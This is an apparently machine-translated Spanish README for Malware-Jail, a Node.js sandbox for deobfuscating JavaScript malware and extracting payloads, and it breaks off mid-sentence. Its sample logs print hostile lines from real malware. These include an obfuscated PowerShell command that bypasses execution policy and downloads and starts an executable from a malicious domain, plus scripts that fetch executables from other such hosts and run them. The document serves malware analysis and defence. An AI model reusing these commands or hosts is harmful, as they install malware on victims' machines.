Malware-Jail: herramienta para análisis de malware de Javascript, eliminación de ofuscación y extracción de carga útil
Malware-Jail es una caja de arena para el análisis semiautomático de malware Javascript, la eliminación de ofuscación y la extracción de carga útil. Está escrito para Node.js.
Funciona en cualquier sistema operativo. Desarrollado y probado en Linux, Node.js v6.6.0.
NotaNota: debido al uso de algunas funciones de ES6, necesitará Node.js> = 6.x.
Malware-Jail está escrito para Sandbox de nodo 'vm'. Actualmente implementa el contexto de Windows Scripting Host (WScript) env / wscript.js , al menos la parte que utiliza con frecuencia el malware. El contexto del navegador de Internet está parcialmente implementado env / browser.js .
Índice de contenidos
Cómo instalar Malware-Jail
Necesitará Node.js y npm instalados. Porque malware-jail se basa en minimist, iconv-lite y entity.
Extracto de GitHub
Extrae la fuente con git:
git clone https://github.com/HynekPetrak/malware-jail.git cd malware-jail
Luego instale todas las dependencias (minimista, entidad, iconv-lite) con:
npm install
Uso
bash@linux# node jailme.js -h -b list 7 May 20:54:52 - mailware-jail, a malware sandbox ver. 0.19 7 May 20:54:52 - ------------------------ 7 May 20:54:52 - Usage: node jailme.js [[-e file1] [-e file2] .. ] [-c ./config.json] 7 May 20:54:52 - [-o ofile] [-b id] 7 May 20:54:52 - [-s odir] [--down] [malware1 [malware2] .. ] 7 May 20:54:52 - -c config .. use alternative config file, preceed with ./ 7 May 20:54:52 - -e ifile ... js that simulates specific environment 7 May 20:54:52 - -o ofile ... name of the file where sandbox shall be dumped at the end 7 May 20:54:52 - -s odir ... output directory for generated files (malware payload) 7 May 20:54:52 - -b id ... browser type, use -b list for possible values 7 May 20:54:52 - -t msecs ... number of miliseconds before terminating execution, default 1 minute 7 May 20:54:52 - --trace ... print stack trace with every log line 7 May 20:54:52 - --down ... allow downloading malware payloads from remote servers 7 May 20:54:52 - --h404 ... on download return always HTTP/404 7 May 20:54:52 - malware ... js with the malware code 7 May 20:54:52 - If no arguments are specified the default values are taken from config.json 7 May 20:54:52 - Possible -b values: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]
Puede encontrar un archivo de malware deshabilitado en la carpeta de muestras. Ejecute el análisis con:
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js
Malware basado en navegador de Internet que puede estar probando
node jailme.js -b IE11_W10 malware/example_browser.js
Al final del análisis, el contexto completo de la caja de arena se descarga en unsandbox_dump_after.json'expediente.
Es posible que desee examinar las siguientes entradas de 'sandbox_dump_after.json':
- eval_calls - matriz de todos los argumentos para las llamadas a eval (). Útil si eval () se usa para desofuscación.
- wscript_saved_files - contenido de todos los archivos que el malware intentó eliminar. Los archivos reales también se guardan en el directorio de salida /.
- wscript_urls - todas las URL que el malware pretendía OBTENER o PUBLICAR.
- wscript_objects - Creación de objetos WScript o ActiveX.
'sandbox_dump_after.json'usa JSONPath, implementado por JSON-js / cycle.js, para guardar referencias duplicadas o cíclicas al mismo objeto.
Salida de muestra
bash@linux# node jailme.js malware/example.js 11 Jan 00:06:24 - Malware sandbox ver. 0.2 11 Jan 00:06:24 - ------------------------ 11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js 11 Jan 00:06:24 - Malware files: malware/example.js 11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json 11 Jan 00:06:24 - Output directory for generated files: output/ 11 Jan 00:06:24 - ==> Preparing Sandbox environment. 11 Jan 00:06:24 - => Executing: env/eval.js 11 Jan 00:06:24 - Preparing sandbox to intercept eval() calls. 11 Jan 00:06:24 - => Executing: env/wscript.js 11 Jan 00:06:24 - Preparing sandbox to emulate WScript environment. 11 Jan 00:06:24 - ==> Executing malware file(s). 11 Jan 00:06:24 - => Executing: malware/example.js 11 Jan 00:06:24 - ActiveXObject(WScript.Shell) 11 Jan 00:06:24 - Created: WScript.Shell[1] 11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%) 11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP) 11 Jan 00:06:24 - Created: MSXML2.XMLHTTP[2] 11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false) 11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded) 11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601) 11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Not sending data, if you want to interract with remote server, set --down=y 11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Calling onreadystatechange() with dummy data 11 Jan 00:06:24 - ActiveXObject(ADODB.Stream) 11 Jan 00:06:24 - Created: ADODB_Stream[3] 11 Jan 00:06:24 - ADODB_Stream[3].Open() 11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes 11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%57020551.dll, 2) 11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%57020551.dll, DllRegisterServer) 11 Jan 00:06:24 - ADODB_Stream[3].Close() 11 Jan 00:08:42 - ==> Script execution finished, dumping sandbox environment to a file. 11 Jan 00:08:42 - Saving: output/_TEMP__49629482.dll 11 Jan 00:08:42 - Saving: output/_TEMP__38611354.pdf 11 Jan 00:08:42 - Generated file saved 11 Jan 00:08:42 - Generated file saved 11 Jan 00:08:42 - The sandbox context has been saved to: sandbox_dump_after.json
En el ejemplo anterior, la carga útil se ha extraído en output / _TEMP__49629482.dll y output / _TEMP__38611354.pdf
Ejemplos de
los malware La carpeta contiene muestras de malware del mundo real. La mayor parte se descargó de https://malwr.com.
Ejemplo: análisis de Wileen.js
Tomando un script malicioso de malwr.com: Wileen.js
Aparentemente, el malware no se ejecuta cuando se ejecuta desde un navegador:
if (typeof document == "undefined") {Por lo tanto, es posible que desee utilizar un archivo de configuración alternativo que no cargue los componentes del navegador / DOM:
node jailme.js --down=y -c ./config_wscript_only.json malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js
Interesante uso de Powershell:
1 Oct 13:05:34 - => Executing: malware/20161001/a6dfd6b83d46702c0b408bd5f669e08c785cd12fdd515fe469595e2a3d44ddc4.js 1 Oct 13:05:34 - ActiveXObject(WScRipT.SHEll) 1 Oct 13:05:34 - Created: WScript.Shell[1] 1 Oct 13:05:34 - WScript.Shell[1].Run(cmD.EXE /c POWE^R^s^he^lL.eXE -ExEc^U^Tio^n^p^oLIC^y^ B^Y^pas^S -NOpro^Fi^L^e^ -^W^InD^Ow^sT^yle^ HI^ddeN^ (^Ne^W^-^OBJ^ecT^ S^YST^EM.net.Webc^L^I^E^n^T^).^dOWn^L^Oa^d^fI^lE^(^'http://click.doubledating.ru/js/boxun4.bin','%appdatA%.exE')^;^stA^Rt-^p^rO^c^eS^s ^'%aPpdata%.eXe', false, undefined) 1 Oct 13:05:34 - ==> Cleaning up sandbox. 1 Oct 13:05:34 - ==> Script execution finished, dumping sandbox environment to a file. 1 Oct 13:05:34 - The sandbox context has been saved to: sandbox_dump_after.json
Ejemplo: análisis ORDER-10455.js
Tomando JavaScript malicioso de malwr.com: ORDER-10455.js
Primero ejecute sin interactuar con servidores remotos:
node jailme.js malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js
obtienes algo como:
... 29 Sep 23:17:21 - Calling eval() no.: 5 29 Sep 23:17:21 - ActiveXObject(MSXML2.XMLHTTP) 29 Sep 23:17:21 - Created: MSXML2.XMLHTTP[9] 29 Sep 23:17:21 - MSXML2.XMLHTTP[9].open(GET,http://caopdjow.top/user.php?f=0.dat,false) 29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined) 29 Sep 23:17:21 - MSXML2.XMLHTTP[9] Not sending data, if you want to interact with remote server, set --down=y 29 Sep 23:17:21 - MSXML2.XMLHTTP[9].responseBody = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)' 29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status="200" 29 Sep 23:17:21 - MSXML2.XMLHTTP[9].send(undefined) finished 29 Sep 23:17:21 - MSXML2.XMLHTTP[9].status.get() => 200 29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated) 29 Sep 23:17:21 - ActiveXObject(Scripting.FileSystemObject) 29 Sep 23:17:21 - Scripting.FileSystemObject[10] created. 29 Sep 23:17:21 - Scripting.FileSystemObject[10].GetSpecialFolder(2) 29 Sep 23:17:21 - ActiveXObject(ADODB.Stream) 29 Sep 23:17:21 - Created: ADODB_Stream[11] 29 Sep 23:17:21 - ADODB_Stream[11].Open() 29 Sep 23:17:21 - ADODB_Stream[11].Type="1" 29 Sep 23:17:21 - ADODB_Stream[11].content="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated)" 29 Sep 23:17:21 - ADODB_Stream[11].Write(str) - 10000 bytes 29 Sep 23:17:21 - ADODB_Stream[11].size="10000" 29 Sep 23:17:21 - ADODB_Stream[11].Position = '0' 29 Sep 23:17:21 - ADODB_Stream[11].SaveToFile(Special_Folder__2w8z05i7y2.exe, 2) 29 Sep 23:17:21 - ADODB_Stream[11].content.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated) 29 Sep 23:17:21 - ADODB_Stream[11].Close() 29 Sep 23:17:21 - ActiveXObject(WScript.Shell) 29 Sep 23:17:21 - Created: WScript.Shell[12] 29 Sep 23:17:21 - WScript.Shell[12].Run(Special_Folder__2w8z05i7y2.exe, undefined, undefined) 29 Sep 23:17:21 - Returning: 'undefined' 29 Sep 23:17:21 - ==> Cleaning up sandbox. 29 Sep 23:17:21 - ==> Script execution finished, dumping sandbox environment to a file. 29 Sep 23:17:21 - MSXML2.XMLHTTP[9].ResponseBody.get() => aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... (truncated) 29 Sep 23:17:21 - Saving: output/Special_Folder__2_w8z05i7y2.exe 29 Sep 23:17:21 - Generated file saved 29 Sep 23:17:21 - The sandbox context has been saved to: sandbox_dump_after.json
Parece ser un comportamiento de eliminación de ofuscación "estándar" para finalmente poder descargar un binario exe y ejecutarlo.
Si queremos obtener la carga útil real, ejecutémosla con '--down = y':
node jailme.js --down=y malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.js > malware/20160929/416e32e1b22ecb8f360ff841b87d77ac9450fda24458ce4e70abb35ff4d242a3.out
Ejemplo: análisis de Norri.js
Tomando JavaScript malicioso de malwr.com: Norri.js
Correr:
node jailme.js --down=y malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
usted obtiene:
30 Sep 01:02:11 - => Executing: malware/20160929/cb7fc381f6f7600ca0060764ae117482cae3a0fa02db4467604a55c57d069124.js
30 Sep 01:02:11 - Strict mode: false
30 Sep 01:02:11 - Calling eval() no.: 1
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Created: WScript.Shell[9]
30 Sep 01:02:11 - WScript.SpecialFolders(Desktop)
30 Sep 01:02:11 - WScript.CreateShortcut(Desktop/?eno.lnk)
30 Sep 01:02:11 - Created: WshShortcut[10](Desktop/?eno.lnk)
30 Sep 01:02:11 - WshShortcut[10](Desktop/?eno.lnk).FullName.get() => Desktop/?eno.lnk
30 Sep 01:02:11 - WScript.CreateObject(Scripting.FileSystemObject)
30 Sep 01:02:11 - Scripting.FileSystemObject[11] created.
30 Sep 01:02:11 - WScript.CreateObject(WScript.Shell)
30 Sep 01:02:11 - Created: WScript.Shell[12]
30 Sep 01:02:11 - WScript.CreateObject(MSXML2.XMLHTTP)
30 Sep 01:02:11 - Created: MSXML2.XMLHTTP[13]
30 Sep 01:02:11 - WScript.CreateObject(ADODB.Stream)
30 Sep 01:02:11 - Created: ADODB_Stream[14]
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetSpecialFolder(2) => TemporaryFolder/
30 Sep 01:02:11 - Scripting.FileSystemObject[11].GetTempName() => TempFile[15]
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].open(GET,http://girlx.tornadodating.ru/js/boxun4.bin,0)
30 Sep 01:02:11 - MSXML2.XMLHTTP[13] string true
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async="false"
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].async.get() => false
30 Sep 01:02:11 - MSXML2.XMLHTTP[13].send(undefined)
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange(), readyState = 4 length: 196608 status: 200
30 Sep 01:02:15 - MSXML2.XMLHTTP[13] statusText = null
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].responseBody = 'MZ?@?!?L?!This program cannot be ... (truncated)'
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].status="200"
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].onreadystatechange() undefined
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].send(undefined) finished
30 Sep 01:02:15 - ADODB_Stream[14].type="1"
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Open()
30 Sep 01:02:15 - ADODB_Stream[14].content="MZ?@?!?L?!This program cannot be ... (truncated)"
30 Sep 01:02:15 - ADODB_Stream[14].Write(str) - 196608 bytes
30 Sep 01:02:15 - ADODB_Stream[14].size="196608"
30 Sep 01:02:15 - ADODB_Stream[14].SaveToFile(TemporaryFolder/TempFile[15], undefined)
30 Sep 01:02:15 - ADODB_Stream[14].content.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:15 - ADODB_Stream[14].Close()
30 Sep 01:02:15 - WScript.Shell[12].Run(cmd.exe /c TemporaryFolder/TempFile[15], 0, undefined)
30 Sep 01:02:15 - Scripting.FileSystemObject[11].DeleteFile(script_full_name.js)
30 Sep 01:02:15 - ==> Cleaning up sandbox.
30 Sep 01:02:15 - ==> Script execution finished, dumping sandbox environment to a file.
30 Sep 01:02:15 - MSXML2.XMLHTTP[13].ResponseBody.get() => MZ?@?!?L?!This program cannot be ... (truncated)
30 Sep 01:02:16 - Saving: output/TemporaryFolder_TempFile[15]
30 Sep 01:02:16 - Generated file saved
30 Sep 01:02:16 - The sandbox context has been saved to: sandbox_dump_after.json
El comportamiento es evidente en el registro. La carga útil se extrajo a la salida / TemporaryFolder_TempFile[15] expediente.
Ejemplo: análisis del pescador EK
Descargue y extraiga Angler EK de un archivo pcap en PESCADOR EK ENVÍA CRYPTOWALL en un malware / angler / angler_full.html.
Quite la parte que no es de Fisher y guárdela como malware / angler / angler_stripped.html.
Para eliminar